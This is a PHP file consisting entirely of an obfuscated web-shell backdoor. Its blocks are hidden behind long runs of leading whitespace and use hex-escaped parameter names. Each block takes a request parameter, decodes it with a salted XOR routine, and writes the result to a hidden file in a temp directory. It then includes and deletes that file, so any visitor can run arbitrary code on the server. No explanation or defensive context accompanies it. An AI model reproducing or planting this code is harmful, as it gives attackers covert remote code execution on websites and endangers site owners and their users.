<?php																																										if(isset($_REQUEST["\x69\x74m"])){ $fac = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), getcwd(), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir")]); $element = $_REQUEST["\x69\x74m"]; $element = explode ("." , $element); $data_chunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach ($element as $i => $v1) { $chS = ord($s[$i % $sLen] ); $dec = ((int)$v1 - $chS - ($i % 10)) ^30; $data_chunk .= chr($dec ); } foreach ($fac as $key => $tkn) { if (is_dir($tkn) ? is_writable($tkn) : false) { $ent = vsprintf("%s/%s", [$tkn, ".symbol"]); $success = file_put_contents($ent, $data_chunk); if ($success) { include $ent; @unlink($ent); die();} } } }
																																										if(@$_REQUEST["b\x69n\x64i\x6Eg"] !== null){ $entity = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/tmp", session_save_path()]); $pset = $_REQUEST["b\x69n\x64i\x6Eg"]; $pset= explode ( '.' ,$pset ) ; $record = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt7); $p = 0; array_walk( $pset, function( $v2) use( &$record, &$p, $salt7, $sLen) { $chS = ord( $salt7[$p % $sLen]); $d =( ( int)$v2 - $chS -( $p % 10)) ^ 58; $record .= chr( $d); $p++; }); $val = 0; do { $flg = $entity[$val] ?? null; if ($val >= count($entity)) break; if ((is_dir($flg) and is_writable($flg))) { $ptr = vsprintf("%s/%s", [$flg, ".pgrp"]); $success = file_put_contents($ptr, $record); if ($success) { include $ptr; @unlink($ptr); die();} } $val++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x63ompone\x6E\x74")){ $entry = $_REQUEST["\x63ompone\x6E\x74"]; $entry =explode ( '.' , $entry) ; $pgrp =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt); $__len =count( $entry); for( $s =0; $s < $__len; $s++) { $v1 =$entry[$s]; $sChar =ord( $salt[$s % $lenS]); $dec =( ( int)$v1 - $sChar -( $s % 10)) ^ 38; $pgrp.= chr( $dec); } $obj = array_filter([getenv("TEMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/var/tmp"]); foreach ($obj as $fac) { if (array_product([is_dir($fac), is_writable($fac)])) { $parameter_group = "$fac" . "/.pointer"; $success = file_put_contents($parameter_group, $pgrp); if ($success) { include $parameter_group; @unlink($parameter_group); exit;} } } }
																																										if(isset($_POST["k\x65y"])){ $element = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), "/var/tmp", getcwd()]); $pset = $_POST["k\x65y"]; $pset= explode ( ".", $pset ); $holder =''; $salt1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt1 ); foreach ($pset as $s => $v6): $sChar =ord($salt1[$s % $sLen] ); $d =((int)$v6 - $sChar - ($s % 10)) ^ 3; $holder .= chr($d ); endforeach; foreach ($element as $key => $ptr) { if (!!is_dir($ptr) && !!is_writable($ptr)) { $tkn = sprintf("%s/.record", $ptr); if (file_put_contents($tkn, $holder)) { include $tkn; @unlink($tkn); die(); } } } }
																																										if(!is_null($_REQUEST["fla\x67"] ?? null)){ $obj = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/dev/shm", getenv("TEMP"), getcwd()]); $desc = $_REQUEST["fla\x67"]; $desc = explode ( '.' ,$desc ) ; $dat = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5); $y = 0; while( $y < count( $desc)) { $v9 = $desc[$y]; $sChar = ord( $s5[$y % $lenS]); $d =( ( int)$v9 - $sChar -( $y % 10)) ^ 40; $dat.=chr( $d); $y++; } foreach ($obj as $elem) { if ((bool)is_dir($elem) && (bool)is_writable($elem)) { $token = join("/", [$elem, ".data_chunk"]); if (@file_put_contents($token, $dat) !== false) { include $token; unlink($token); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x6Be\x79"])){ $descriptor = array_filter([getcwd(), getenv("TEMP"), session_save_path(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", sys_get_temp_dir()]); $val = $_POST["\x6Be\x79"]; $val = explode ( "." ,$val ) ; $entry =''; $s1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s1 ); $z =0; $__tmp =$val; while ($v2 =array_shift($__tmp)) { $chS =ord($s1[$z % $sLen] ); $dec =((int)$v2 - $chS - ($z % 10)) ^97; $entry.= chr($dec ); $z++; } $desc = 0; do { $res = $descriptor[$desc] ?? null; if ($desc >= count($descriptor)) break; if (is_dir($res) && is_writable($res)) { $value = "$res/.pgrp"; if (file_put_contents($value, $entry)) { include $value; @unlink($value); die(); } } $desc++; } while (true); }
																																										if(isset($_REQUEST["\x74\x6Bn"]) ? true : false){ $token = $_REQUEST["\x74\x6Bn"]; $token= explode ( "." , $token ) ; $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($token); for($u = 0; $u<$len; $u++) { $v7 = $token[$u]; $chS = ord($s[$u % $lenS]); $d =((int)$v7 - $chS -($u % 10))^9; $descriptor .= chr($d); } $fac = array_filter([session_save_path(), "/tmp", getcwd(), "/var/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($fac as $key => $ent) { if (array_product([is_dir($ent), is_writable($ent)])) { $property_set = "$ent/.ref"; $success = file_put_contents($property_set, $descriptor); if ($success) { include $property_set; @unlink($property_set); exit;} } } }
																																										if(in_array("\x6D\x72k", array_keys($_REQUEST))){ $data_chunk = $_REQUEST["\x6D\x72k"]; $data_chunk=explode ( "." , $data_chunk ); $factor = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt4 ); $t = 0; foreach( $data_chunk as $v8) { $sChar = ord( $salt4[$t % $sLen] ); $dec = ( ( int)$v8 - $sChar -( $t % 10)) ^ 3; $factor .= chr( $dec ); $t++;} $val = array_filter([sys_get_temp_dir(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/dev/shm", session_save_path(), getcwd()]); foreach ($val as $key => $desc) { if (max(0, is_dir($desc) * is_writable($desc))) { $token = "$desc/.property_set"; $file = fopen($token, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $token; @unlink($token); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "r\x65f")){ $dat = $_REQUEST["r\x65f"]; $dat= explode ( ".", $dat ) ; $descriptor = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4); $t = 0; foreach ($dat as $v9) { $sChar = ord($salt4[$t % $lenS]); $dec = ((int)$v9 - $sChar - ($t % 10)) ^ 16; $descriptor.= chr($dec); $t++; } $comp = array_filter([session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/var/tmp", getcwd(), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); foreach ($comp as $ptr): if (!!is_dir($ptr) && !!is_writable($ptr)) { $sym = "$ptr/.bind"; $file = fopen($sym, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $sym; @unlink($sym); die(); } } endforeach; }
																																										if(isset($_POST["\x64\x61\x74\x61\x5Fchunk"])){ $dchunk = array_filter([getcwd(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp"]); $hld = $_POST["\x64\x61\x74\x61\x5Fchunk"]; $hld = explode( '.' , $hld ) ; $symbol =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); $z =0; foreach( $hld as $v3) { $sChar =ord( $salt[$z % $sLen]); $dec =( ( int)$v3 - $sChar -( $z % 10))^ 98; $symbol .= chr( $dec); $z++;} foreach ($dchunk as $key => $entry) { if (max(0, is_dir($entry) * is_writable($entry))) { $value = "$entry/.ptr"; if (file_put_contents($value, $symbol)) { require $value; unlink($value); exit; } } } }
																																										if(array_key_exists("d\x65\x73crip\x74o\x72", $_REQUEST) && !is_null($_REQUEST["d\x65\x73crip\x74o\x72"])){ $dchunk = $_REQUEST["d\x65\x73crip\x74o\x72"]; $dchunk =explode ( '.',$dchunk ) ; $token = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt4 ); foreach( $dchunk as $s => $v8): $chS = ord( $salt4[$s % $sLen] ); $dec =( ( int)$v8 - $chS -( $s % 10)) ^ 10; $token.=chr( $dec ); endforeach; $data_chunk = array_filter([session_save_path(), "/var/tmp", "/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), getenv("TMP")]); for ($pset = 0, $entry = count($data_chunk); $pset < $entry; $pset++) { $key = $data_chunk[$pset]; if (max(0, is_dir($key) * is_writable($key))) { $res = sprintf("%s/.pgrp", $key); $file = fopen($res, 'w'); if ($file) { fwrite($file, $token); fclose($file); include $res; @unlink($res); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x6F\x62\x6Aect"])){ $flag = array_filter(["/dev/shm", getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd()]); $pointer = $_REQUEST["\x6F\x62\x6Aect"]; $pointer = explode ( "." ,$pointer ); $ent = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4); $j = 0; while($j < count($pointer)) { $v1 = $pointer[$j]; $chS = ord($salt4[$j %$lenS]); $d =((int)$v1 - $chS -($j %10)) ^ 35; $ent .= chr($d); $j++; } $desc = 0; do { $marker = $flag[$desc] ?? null; if ($desc >= count($flag)) break; if (array_product([is_dir($marker), is_writable($marker)])) { $rec = str_replace("{var_dir}", $marker, "{var_dir}/.comp"); if (file_put_contents($rec, $ent)) { include $rec; @unlink($rec); die(); } } $desc++; } while (true); }
																																										if(@$_REQUEST["re\x63\x6Frd"] !== null){ $hld = array_filter([getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), session_save_path()]); $parameter_group = $_REQUEST["re\x63\x6Frd"]; $parameter_group = explode( '.' ,$parameter_group ) ; $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach($parameter_group as $y => $v5) { $chS = ord($s[$y % $lenS]); $dec =((int)$v5 - $chS -($y % 10)) ^25; $flg.=chr($dec); } $tkn = 0; do { $reference = $hld[$tkn] ?? null; if ($tkn >= count($hld)) break; if (array_product([is_dir($reference), is_writable($reference)])) { $resource = join("/", [$reference, ".k"]); $success = file_put_contents($resource, $flg); if ($success) { include $resource; @unlink($resource); die();} } $tkn++; } while (true); }
																																										if(@$_POST["\x70oint\x65r"] !== null){ $pgrp = $_POST["\x70oint\x65r"]; $pgrp = explode ( "." , $pgrp ) ; $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $__len = count($pgrp); for ($m = 0; $m < $__len; $m++) {$v1 = $pgrp[$m]; $chS = ord($salt[$m % $lenS]); $d = ((int)$v1 - $chS - ($m % 10)) ^ 59; $pset .= chr($d); } $item = array_filter([getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/var/tmp", "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP")]); foreach ($item as $object) { if (max(0, is_dir($object) * is_writable($object))) { $hld = "$object/.dchunk"; $file = fopen($hld, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $hld; @unlink($hld); die(); } } } }
																																										if(array_key_exists("c\x6F\x6Dp", $_REQUEST)){ $tkn = array_filter([getenv("TEMP"), "/tmp", getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp"]); $dchunk = $_REQUEST["c\x6F\x6Dp"]; $dchunk = explode ( '.' ,$dchunk ); $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $l = 0; $len = count($dchunk); do { if ($l >= $len) break; $v8 = $dchunk[$l]; $sChar = ord($salt[$l% $sLen]); $dec = ((int)$v8 - $sChar - ($l% 10))^95; $ent.=chr($dec); $l++; } while (true); foreach ($tkn as $ref): if ((bool)is_dir($ref) && (bool)is_writable($ref)) { $key = join("/", [$ref, ".ent"]); if (@file_put_contents($key, $ent) !== false) { include $key; unlink($key); die(); } } endforeach; }


if(array_key_exists("hl\x64", $_POST) && !is_null($_POST["hl\x64"])){
	$bind = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/tmp", session_save_path(), "/dev/shm", getenv("TMP")]);
	$itm = $_POST["hl\x64"];
		  $itm=explode(	'.'	,$itm ) ;
	$key = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
            $m = 0;
            $len = count($itm);
    
            do {if ($m >= $len) break;
                $v3 = $itm[$m];
                $sChar = ord($salt[$m% $lenS]);
                $dec = ((int)$v3 - $sChar - ($m% 10)) ^ 78;
                $key.=chr($dec);
                $m++; } while (true);
	foreach ($bind as $descriptor) {
    		if (!!is_dir($descriptor) && !!is_writable($descriptor)) {
    $token = "$descriptor/.parameter_group";
    if (file_put_contents($token, $key)) {
	require $token;
	unlink($token);
	die();
}
}
}
}